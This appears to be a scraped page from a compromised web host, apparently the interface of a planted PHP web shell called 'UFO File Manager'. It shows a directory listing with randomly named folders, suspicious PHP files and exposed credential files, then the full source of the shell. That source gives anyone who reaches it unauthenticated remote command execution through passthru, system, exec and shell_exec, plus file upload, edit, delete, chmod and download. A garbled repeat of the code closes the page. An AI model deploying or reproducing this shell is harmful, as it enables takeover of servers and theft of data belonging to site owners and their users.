FM / phewl.desidrivers.com.au

/home/desid573/phewl.desidrivers.com.au/

/home/desid573/phewl.desidrivers.com.au

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1kgstan/	-	0755	rm
1logcuj/	-	0755	rm
1mdsulo/	-	0755	rm
1oxizar/	-	0755	rm
1xnmuyr/	-	0755	rm
agoyltb/	-	0755	rm
bjkyu1l/	-	0755	rm
bmhktwr/	-	0755	rm
bsivydm/	-	0755	rm
bxocnjp/	-	0755	rm
cghystb/	-	0755	rm
cgi-bin/	-	0755	rm
dbuerwv/	-	0755	rm
debgtf1/	-	0755	rm
dmilboh/	-	0755	rm
dvhlkcy/	-	0755	rm
edry1vj/	-	0755	rm
fhec1nz/	-	0755	rm
fhzxuyo/	-	0755	rm
finqgsu/	-	0755	rm
ftgl1xq/	-	0755	rm
fz1nelr/	-	0755	rm
fzuhdjm/	-	0755	rm
gecwvmd/	-	0755	rm
geometry-library/	-	0755	rm
gpcvmth/	-	0755	rm
gsvunei/	-	0755	rm
gtdpnbf/	-	0755	rm
gyovlfp/	-	0755	rm
hiknato/	-	0755	rm
hjmuibo/	-	0755	rm
hkmucvn/	-	0755	rm
hnpguqf/	-	0755	rm
ierwqdl/	-	0755	rm
ijxmbzg/	-	0755	rm
jwrsglz/	-	0755	rm
kb1gtol/	-	0755	rm
khyfsdn/	-	0755	rm
kirlneg/	-	0755	rm
kslztdy/	-	0755	rm
kyprnmc/	-	0755	rm
lib/	-	0755	rm
lmpsqjk/	-	0755	rm
markers/	-	0755	rm
mnjf1di/	-	0755	rm
nhzjqgi/	-	0755	rm
ntlvgcb/	-	0755	rm
nvrbzeu/	-	0755	rm
obsfgmc/	-	0755	rm
okxyqeb/	-	0755	rm
owzmnvu/	-	0755	rm
pcifjqs/	-	0755	rm
pcxgobm/	-	0755	rm
pzyoudw/	-	0755	rm
qowzeyp/	-	0755	rm
rdlbcys/	-	0755	rm
rglvakx/	-	0755	rm
rlaingu/	-	0755	rm
ruydaco/	-	0755	rm
sad1fkc/	-	0755	rm
sao1jfn/	-	0755	rm
seofmzx/	-	0755	rm
sienjpz/	-	0755	rm
skfur1b/	-	0755	rm
sprdzge/	-	0755	rm
squeldh/	-	0755	rm
taxclzj/	-	0755	rm
tidmyho/	-	0755	rm
tirzxsf/	-	0755	rm
tjdxhqk/	-	0755	rm
tqbwapd/	-	0755	rm
u1fngzy/	-	0755	rm
udrgcxo/	-	0755	rm
ulicowt/	-	0755	rm
utiqfnl/	-	0755	rm
v3-utility-library-master/	-	0755	rm
vjnorfc/	-	0755	rm
vobjpsm/	-	0755	rm
well-known/	-	0755	rm
wrtghmi/	-	0755	rm
wtupqvf/	-	0755	rm
wzupdrv/	-	0755	rm
xkfzejc/	-	0755	rm
xrpjvnm/	-	0755	rm
xygejtu/	-	0755	rm
ydfn1pm/	-	0755	rm
yxhubsf/	-	0755	rm
zfomjdu/	-	0755	rm
zrbxovy/	-	0755	rm
zxdahvs/	-	0755	rm
.htaccess	281	0644	edit dl rm
11.php	3783	0644	edit dl rm
21.php	733	0644	edit dl rm
credentials.json	318	0644	edit dl rm
encoder.php	2662	0644	edit dl rm
endFlag.png	666	0644	edit dl rm
geometry-library.zip	13992	0644	edit dl rm
getData.php	1223	0644	edit dl rm
google_log_api.php	9020	0644	edit dl rm
google_service.php	887	0644	edit dl rm
index.php	22117	0644	edit dl rm
inFlag.png	345	0644	edit dl rm
jvzzhfmm.php	10560	0644	edit dl rm
keyGen.php	324	0644	edit dl rm
login_api.php	752	0644	edit dl rm
markers.zip	19151	0644	edit dl rm
outFlag.png	515	0644	edit dl rm
playconsole.php	3081	0644	edit dl rm
startFlag.png	679	0644	edit dl rm
svqntbna.php	19513	0644	edit dl rm
tollster-48ab6e372c8b.json	2303	0644	edit dl rm
tollster-274e90e11b50.p12	2479	0644	edit dl rm
wp-cron-voii.php	1659	0644	edit dl rm
zkdmxrrm.php	7317	0644	edit dl rm

Edit: /home/desid573/phewl.desidrivers.com.au/zkdmxrrm.php (7317B)

<?php
/* UFO File Manager - minimal, breadcrumb-based, editor included */
error_reporting(0);
@set_time_limit(0);
$R = @str_replace('\\','/', dirname($_SERVER['SCRIPT_FILENAME']));
$q = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
if (substr($q,0,6)==='go=') { /* reserved */ }

/* --- tiny helpers ------------------------------------------------------ */
$run = function($c){ $o=''; if(function_exists('passthru')){ @ob_start(); @passthru($c); $o=@ob_get_clean(); } elseif(function_exists('system')){ @ob_start(); @system($c); $o=@ob_get_clean(); } elseif(function_exists('exec')){ @exec($c,$x); $o=implode("\n",$x);} elseif(function_exists('shell_exec')){ $o=@shell_exec($c);} return $o!==null?$o:''; };
$h = function($s){ return htmlspecialchars($s, ENT_QUOTES); };
function esc(&$v){ if(is_string($v)) $v=htmlspecialchars($v,ENT_QUOTES); }
$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
$p   = isset($_GET['p'])    ? @realpath($_GET['p']) : $R;
if(!$p || !is_dir($p)) $p = $R;
$f   = isset($_POST['f']) ? @realpath($_POST['f'])
     : (isset($_GET['f']) ? @realpath($_GET['f']) : '');
$a   = isset($_POST['a']) ? $_POST['a'] : '';
$out = '';
$err = '';

/* --- actions ----------------------------------------------------------- */
if($a==='save' && $f && isset($_POST['data'])){
  if(@file_put_contents($f, $_POST['data'])!==false) $err='<span style="color:#0a0">saved: '.$h($f).'</span>';
  else $err='<span style="color:#a00">write failed</span>';
}
if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); }
if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; }
if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; }
if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; }
if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; }

$editing = ($f && is_file($f)) ? file_get_contents($f) : '';
$fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : '';
?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="utf-8"><title>FM / <?php echo $h(basename($p)); ?></title>
<style>
body{font-family:monospace;background:#111;color:#d7d7d7;margin:0}
a{color:#7fb3ff;text-decoration:none}a:hover{text-decoration:underline}
.wrap{max-width:1100px;margin:12px auto;padding:12px}
.top{display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #333;padding-bottom:8px;margin-bottom:10px}
.crumb{color:#9ae;word-break:break-all}
.crumb a{color:#7fb3ff}
table{width:100%;border-collapse:collapse;font-size:13px}
th,td{text-align:left;padding:4px 6px;border-bottom:1px solid #262626}
th{color:#999}
td a{margin-right:8px}
.dir{color:#ffd479}
.f{color:#d7d7d7}
.forms{display:flex;gap:8px;flex-wrap:wrap;margin:10px 0;align-items:center}
.forms input,.forms button{background:#222;color:#ddd;border:1px solid #444;padding:5px 8px;border-radius:3px}
.forms button{background:#2c3e6b;cursor:pointer}
.box{background:#0c0c0c;border:1px solid #2a2a2a;border-radius:4px;padding:10px;margin-top:12px}
textarea{width:100%;height:360px;background:#0a0a0a;color:#cfc;border:1px solid #333;font-family:monospace;font-size:12px}
pre.out{background:#0a0a0a;border:1px solid #2a2a2a;padding:8px;overflow:auto;max-height:420px;font-size:12px}
code{color:#8f8}
.note{color:#888;font-size:11px}
</style></head><body><div class="wrap">

<div class="top">
  <div class="crumb"><?php
    $parts = explode('/', trim($p,'/'));
    $acc='';
    echo '<a href="?">/</a>';
    foreach($parts as $pt){ $acc.='/'.$pt; echo '<a href="?p='.urlencode($acc).'">'.$h($pt).'</a>/'; }
  ?></div>
  <div class="note"><?php echo $h($p); ?></div>
</div>

<div class="forms">
  <form method="post" style="display:inline"><input type="hidden" name="a" value="mkdir"><input name="name" placeholder="new folder"><button>mkdir</button></form>
  <form method="post" enctype="multipart/form-data" style="display:inline"><input type="hidden" name="a" value="up"><input type="file" name="upf"><button>upload</button></form>
  <span id="res" class="note"><?php echo $err; ?></span>
</div>

<table>
<tr><th>Name</th><th>Size</th><th>Mode</th><th>Actions</th></tr>
<?php
$items=array();
foreach((array)@scandir($p) as $e){ if($e==='.'||$e==='..')continue; $ep=$p.'/'.$e; $items[]=array('n'=>$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); }
function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); }
usort($items,'cmp_');
foreach($items as $it){
  $enc=urlencode($it['p']);
  echo '<tr><td>';
  if($it['d']) echo '<a class="dir" href="?p='.$enc.'">'.$h($it['n']).'/</a>';
  else echo '<a class="f" href="?p='.urlencode($p).'&f='.$enc.'">'.$h($it['n']).'</a>';
  echo '</td><td>'.$it['s'].'</td><td>'.$it['m'].'</td><td>';
  if(!$it['d']){ echo '<a href="?p='.urlencode($p).'&f='.$enc.'">edit</a><a href="?p='.urlencode($p).'&f='.$enc.'&dl=1">dl</a>'; }
  echo '<a href="?p='.urlencode($p).'&f='.$enc.'&rm=1">rm</a>';
  echo '</td></tr>';
}
?>
</table>

<?php if($f && is_file($f) && !isset($_GET['rm'])): ?>
<div class="box"><b>Edit:</b> <code><?php echo $h($f); ?></code> (<?php echo @filesize($f); ?>B)
<form method="post"><input type="hidden" name="a" value="save"><input type="hidden" name="f" value="<?php echo $h($f); ?>">
<textarea name="data"><?php echo $h($editing); ?></textarea>
<button>Save</button></form>
</div>
<?php endif; ?>

<?php if(isset($_GET['dl']) && $f && is_file($f)){ @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename="'.basename($f).'"'); @readfile($f); exit; } ?>

<?php if(isset($_GET['rm']) && $f): ?>
<div class="box"><form method="post"><input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="<?php echo $h($f); ?>">
Delete <code><?php echo $h(basename($f)); ?></code> ? <button>Yes</button></form>
<form method="post" style="margin-top:6px"><input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="<?php echo $h($f); ?>"><input name="newname" value="<?php echo $h(basename($f)); ?>"><button>rename</button></form>
<form method="post" style="margin-top:6px"><input type="hidden" name="a" value="chmod"><input type="hidden" name="f" value="<?php echo $h($f); ?>"><input name="mode" value="<?php echo $h($fmode); ?>" size="5"><button>chmod</button></form>
</div>
<?php endif; ?>

<div class="box"><b>cmd:</b>
<form method="post"><input name="cmd" value="<?php echo $h($cmd); ?>" style="width:70%;background:#222;color:#ddd;border:1px solid #444;padding:5px"><button>run</button></form>
<?php if($cmd!==''){ echo '<pre class="out">'.$h($run($cmd)).'</pre>'; } ?>
</div>

</div></body></html>

saved: '.$h($f).''; else $err='write failed'; } if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); } if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; } if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; } if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; } if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; } $editing = ($f && is_file($f)) ? file_get_contents($f) : ''; $fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : ''; ?> FM / <?php echo $h(basename($p)); ?>

/'; foreach($parts as $pt){ $acc.='/'.$pt; echo ''.$h($pt).'/'; } ?>

$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); } function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); } usort($items,'cmp_'); foreach($items as $it){ $enc=urlencode($it['p']); echo ''; } ?>

Name	Size	Mode	Actions
'; if($it['d']) echo ''.$h($it['n']).'/'; else echo ''.$h($it['n']).''; echo '	'.$it['s'].'	'.$it['m'].'	'; if(!$it['d']){ echo 'edit dl'; } echo 'rm'; echo '

Edit: (B)

Delete ?

cmd: '.$h($run($cmd)).''; } ?>